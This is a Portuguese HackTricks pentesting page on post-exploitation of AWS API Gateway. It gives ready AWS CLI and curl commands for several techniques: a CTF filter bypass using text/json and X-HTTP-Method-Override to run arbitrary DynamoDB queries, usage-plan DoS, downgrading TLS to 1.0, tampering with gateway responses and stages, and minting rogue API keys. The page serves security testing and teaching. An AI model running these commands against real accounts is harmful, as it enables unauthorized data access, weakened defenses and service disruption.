AWS - API Gateway Post Exploitation

Supporte HackTricks

API Gateway

Para mais informações, confira:

AWS - API Gateway Enum

Acessar APIs não expostas

Você pode criar um endpoint em https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint com o serviço com.amazonaws.us-east-1.execute-api, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões. Então, a partir da máquina EC2, você poderá acessar o endpoint e, portanto, chamar a API do gateway que não estava exposta antes.

Bypass Request body passthrough

Esta técnica foi encontrada neste writeup de CTF.

Conforme indicado na documentação da AWS na seção PassthroughBehavior, por padrão, o valor WHEN_NO_MATCH, ao verificar o cabeçalho Content-Type da solicitação, passará a solicitação para o back end sem transformação.

Portanto, no CTF, o API Gateway tinha um template de integração que estava impedindo que a flag fosse exfiltrada em uma resposta quando uma solicitação era enviada com Content-Type: application/json:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

No entanto, enviar uma solicitação com Content-type: text/json impediria esse filtro.

Finalmente, como o API Gateway estava permitindo apenas Get e Options, foi possível enviar uma consulta dynamoDB arbitrária sem qualquer limite enviando uma solicitação POST com a consulta no corpo e usando o cabeçalho X-HTTP-Method-Override: GET:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Na seção de Enumeração você pode ver como obter o plano de uso das chaves. Se você tiver a chave e ela estiver limitada a X usos por mês, você pode simplesmente usá-la e causar um DoS.

A API Key só precisa ser incluída dentro de um cabeçalho HTTP chamado x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Um atacante com as permissões apigateway:UpdateGatewayResponse e apigateway:CreateDeployment pode modificar uma Resposta do Gateway existente para incluir cabeçalhos personalizados ou modelos de resposta que vazem informações sensíveis ou executem scripts maliciosos.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.

Necessita de testes

apigateway:UpdateStage, apigateway:CreateDeployment

Um atacante com as permissões apigateway:UpdateStage e apigateway:CreateDeployment pode modificar um estágio existente do API Gateway para redirecionar o tráfego para um estágio diferente ou alterar as configurações de cache para obter acesso não autorizado a dados em cache.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Acesso não autorizado a dados em cache, interrompendo ou interceptando o tráfego da API.

Necessita de testes

apigateway:PutMethodResponse, apigateway:CreateDeployment

Um atacante com as permissões apigateway:PutMethodResponse e apigateway:CreateDeployment pode modificar a resposta do método de um método existente do API Gateway REST API para incluir cabeçalhos personalizados ou modelos de resposta que vazem informações sensíveis ou executem scripts maliciosos.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potencial Impacto: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.

Necessário teste

apigateway:UpdateRestApi, apigateway:CreateDeployment

Um atacante com as permissões apigateway:UpdateRestApi e apigateway:CreateDeployment pode modificar as configurações da API Gateway REST API para desativar o registro de logs ou alterar a versão mínima do TLS, potencialmente enfraquecendo a segurança da API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Enfraquecimento da segurança da API, potencialmente permitindo acesso não autorizado ou expondo informações sensíveis.

Necessário teste

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Um atacante com permissões apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan e apigateway:CreateUsagePlanKey pode criar novas chaves de API, associá-las a planos de uso e, em seguida, usar essas chaves para acesso não autorizado a APIs.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impacto Potencial: Acesso não autorizado a recursos da API, contornando controles de segurança.

Necessário testar

Suporte ao HackTricks

Last updated